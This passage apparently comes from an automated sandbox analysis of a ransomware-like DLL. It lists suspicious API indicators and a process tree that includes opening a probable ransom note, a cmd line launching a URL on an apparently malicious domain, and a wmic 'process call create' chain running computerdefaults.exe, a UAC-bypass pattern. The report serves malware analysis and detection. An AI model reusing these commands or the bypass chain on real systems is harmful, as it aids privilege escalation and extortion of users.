SeIncBasePriorityPrivilege 1056 WMIC.exe Token: SeCreatePagefilePrivilege 1056 WMIC.exe Token: SeBackupPrivilege 1056 WMIC.exe Token: SeRestorePrivilege 1056 WMIC.exe Token: SeShutdownPrivilege 1056 WMIC.exe Token: SeDebugPrivilege 1056 WMIC.exe Token: SeSystemEnvironmentPrivilege 1056 WMIC.exe Token: SeRemoteShutdownPrivilege 1056 WMIC.exe Token: SeUndockPrivilege 1056 WMIC.exe Token: SeManageVolumePrivilege 1056 WMIC.exe Token: 33 1056 WMIC.exe Token: 34 1056 WMIC.exe -
Suspicious use of FindShellTrayWindow 8 IoCs
pid Process 2376 Process not Found 2376 Process not Found 2376 Process not Found 2376 Process not Found 2376 Process not Found 2376 Process not Found 2376 Process not Found 2376 Process not Found -
Suspicious use of SendNotifyMessage 1 IoCs
pid Process 2376 Process not Found -
Suspicious use of SetWindowsHookEx 4 IoCs
pid Process 2376 Process not Found 336 MicrosoftEdge.exe 4360 MicrosoftEdgeCP.exe 4360 MicrosoftEdgeCP.exe -
Suspicious use of UnmapMainImage 1 IoCs
pid Process 2376 Process not Found -
Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 2980 wrote to memory of 2760 2980 rundll32.exe 76 PID 2980 wrote to memory of 2760 2980 rundll32.exe 76 PID 2980 wrote to memory of 2228 2980 rundll32.exe 77 PID 2980 wrote to memory of 2228 2980 rundll32.exe 77 PID 2980 wrote to memory of 3164 2980 rundll32.exe 81 PID 2980 wrote to memory of 3164 2980 rundll32.exe 81 PID 2980 wrote to memory of 2140 2980 rundll32.exe 80 PID 2980 wrote to memory of 2140 2980 rundll32.exe 80 PID 2140 wrote to memory of 1056 2140 cmd.exe 83 PID 2140 wrote to memory of 1056 2140 cmd.exe 83 PID 3164 wrote to memory of 1164 3164 cmd.exe 84 PID 3164 wrote to memory of 1164 3164 cmd.exe 84 PID 2096 wrote to memory of 3304 2096 cmd.exe 90 PID 2096 wrote to memory of 3304 2096 cmd.exe 90 PID 3464 wrote to memory of 2168 3464 cmd.exe 91 PID 3464 wrote to memory of 2168 3464 cmd.exe 91 PID 4360 wrote to memory of 4432 4360 MicrosoftEdgeCP.exe 95 PID 4360 wrote to memory of 4432 4360 MicrosoftEdgeCP.exe 95 PID 4360 wrote to memory of 4432 4360 MicrosoftEdgeCP.exe 95 PID 4360 wrote to memory of 4432 4360 MicrosoftEdgeCP.exe 95
Processes
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C:\Windows\system32\rundll32.exerundll32.exe C:\Users\Admin\AppData\Local\Temp\c17ec37e0515fa380687c26cfb69b4d3.dll,#11⤵
- Modifies extensions of user files
- Suspicious use of SetThreadContext
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:2980 -
C:\Windows\system32\notepad.exenotepad.exe C:\Users\Public\readme.txt2⤵
- Opens file in notepad (likely ransom note)
PID:2760
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C:\Windows\system32\cmd.execmd /c "start http://463c2600d2381220zarkzonn.tankmy.space/zarkzonn^&1^&43884394^&71^&269^&2215063"2⤵
- Checks computer location settings
PID:2228
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C:\Windows\system32\cmd.execmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""2⤵
- Suspicious use of WriteProcessMemory
PID:2140 -
C:\Windows\system32\wbem\WMIC.exeC:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1056
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C:\Windows\system32\cmd.execmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""2⤵
- Suspicious use of WriteProcessMemory
PID:3164 -
C:\Windows\system32\wbem\WMIC.exeC:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1164
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C:\Windows\system32\cmd.execmd /c computerdefaults.exe1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2096 -
C:\Windows\system32\ComputerDefaults.execomputerdefaults.exe2⤵PID:3304
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C:\Windows\system32\cmd.execmd /c computerdefaults.exe1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3464 -
C:\Windows\system32\ComputerDefaults.execomputerdefaults.exe2⤵PID:2168
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C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:336
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C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
- Modifies Internet Explorer settings
PID:3172
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C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4360
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C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies Internet Explorer settings
- Modifies registry class
PID:4432
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C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
PID:4720
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C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
PID:4908
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C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
PID:4996